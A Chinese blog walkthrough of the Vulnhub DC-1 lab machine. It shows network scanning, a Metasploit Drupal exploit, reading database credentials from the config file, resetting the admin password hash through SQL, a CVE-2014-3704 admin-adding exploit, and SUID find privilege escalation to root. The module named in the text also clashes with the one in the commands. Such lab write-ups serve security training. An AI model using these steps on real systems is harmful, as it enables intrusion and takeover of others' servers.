【Vulnhub靶机系列】DC1

秒速五厘米 2022-10-21 11:58 247阅读 0赞

基本信息

Kali: 192.168.56.116

DC1: 192.168.56.115

实验过程

先在Kali中使用arp-scan进行主机探活

  1. sudo arp-scan --interface=eth1 192.168.56.0/24

图片

逐个排查发现DC1的IP地址为192.168.56.115

然后使用nmap对主机进行探测:

  1. nmap -sC -sV -A -oA vulnhub/DC1/DC1 192.168.56.115

图片

主机分别开了: 22,80,111端口

我们先从80端口入手

图片

图片

可以发现网站是Drupal cms管理系统

我们启动msf,搜索下Drupal可用的EXP

msf > search Drupal

图片

这里我们选用

exploit/unix/webapp/drupal_drupalgeddon2

因为他是最新的,而且品质为excellent

  1. msf6 > use exploit/unix/webapp/drupal_coder_execmsf6 exploit(unix/webapp/drupal_coder_exec) > show optionsmsf6 exploit(unix/webapp/drupal_coder_exec) > set RHOSTS 192.168.56.115msf6 exploit(unix/webapp/drupal_coder_exec) > set LHOST 192.168.56.116msf6 exploit(unix/webapp/drupal_coder_exec) > run

图片

这样我们就可以成功得到一个会话

我们用会话返回一个shell

图片

发现flag1.txt

查看下flag1.txt内容

图片

给我们一个提示 Every good CMS needs a config file - and so do you.

百度drupal配置文件的位置

图片

sites/default/files

图片

里面可以看到数据库的账号密码,同时我们还可以看到flag2的内容说:爆破不是唯一获得访问权限方法

  1. 'database' => 'drupaldb','username' => 'dbuser','password' => 'R0ck3t',

图片

那么我们用获得数据库的账号密码登录下数据看看

这里需要注意的是,我们需要用python转换成标准的shell,否则就会出现下面的场景,进入mysql之后,shell就没有反应:

图片

我们输入

  1. python -c "import pty;pty.spawn('/bin/bash')"

图片

  1. mysql> show database;
  2. mysql> use drupaldb;
  3. mysql> show tables;
  4. mysql> select * from users;
  5. mysql> select name,pass from users;

图片

这里的密码是经过drupal加密

在scripts的文件夹中有用来算密码的脚本,但是因为靶机的环境原因会报错。

图片

网上找了下,直接用别人算好的hash进行替换

  1. 明文:password密文:$S$CDbdwZvjHQ09IVRs88G0fnaxPr50/kb81YI9.8M/D9okW7J/s5U4

图片

接下来我们把管理员的密码重置下

  1. mysql> update users set pass='$S$CDbdwZvjHQ09IVRs88G0fnaxPr50/kb81YI9.8M/D9okW7J/s5U4'where name='admin';

图片

然后进行登录

图片

然后发现flag3

图片

图片

从flag3的内容可以看到,提示我们需要用find提权同时我们也可以在家目录中找到flag4.

图片

  1. Can you use this same method to find or access the flag in root?Probably. But perhaps it's not that easy. Or maybe it is?

我们使用find找下具有root权限的suid。

# -perm 按照文件权限来查找文件

# -u=w 基于用于可写查找

# -type f 查找普通类型文件

find / -perm -u=s -type f 2>/dev/null

图片

可以看到find是可以用来提权的

我们尝试用find执行命令

# 这里需要注意-name参数填写的文件名,是需要系统真实存在的

www-data@DC-1:/home/flag4$ find / -name flag4 -exec “whoami” \;

图片

那么我们接下来用find提权

  1. wwwdata@DC1:/home/flag4$ find / -name flag4 -exec "/bin/sh" \;

图片

这样我们就拿到最终的flag

额外内容

使用CVE2014-3704添加管理账号

在exploit-db中有可以直接利用的EXP,可以直接添加管理账号地址:https://www.exploit-db.com/exploits/34992 我们在Kali上开启HTTP服务,让靶机从Kali上下载EXP

图片

然后我们通过这个EXP创建管理账号

www‐data@DC‐1:/var/www$ python 34992.py ‐t http://192.168.56.115/ ‐u dfz ‐p ms08067

图片

然后就可以正常登录

图片

另一种查询具有root权限命令的find语句

find / -user root -perm -4000 -print 2>/dev/null

图片

发表评论

表情:
评论列表 (有 0 条评论,247人围观)

还没有评论,来说两句吧...

相关阅读

    相关 VulnHub靶机渗透】五:DC-1

    VulnHub是一个安全平台,内含众多渗透测试的靶场镜像,只需要下载至本地并在虚拟机上运行,即可得到一个完整的渗透测试练习系统,每一个靶机都有相关目标去完成(万分感谢提供靶机镜

    相关 VulnHub靶机渗透】六:DC-2

    VulnHub是一个安全平台,内含众多渗透测试的靶场镜像,只需要下载至本地并在虚拟机上运行,即可得到一个完整的渗透测试练习系统,每一个靶机都有相关目标去完成(万分感谢提供靶机镜

    相关 VulnHub靶机渗透】七:DC-4

    VulnHub是一个安全平台,内含众多渗透测试的靶场镜像,只需要下载至本地并在虚拟机上运行,即可得到一个完整的渗透测试练习系统,每一个靶机都有相关目标去完成(万分感谢提供靶机镜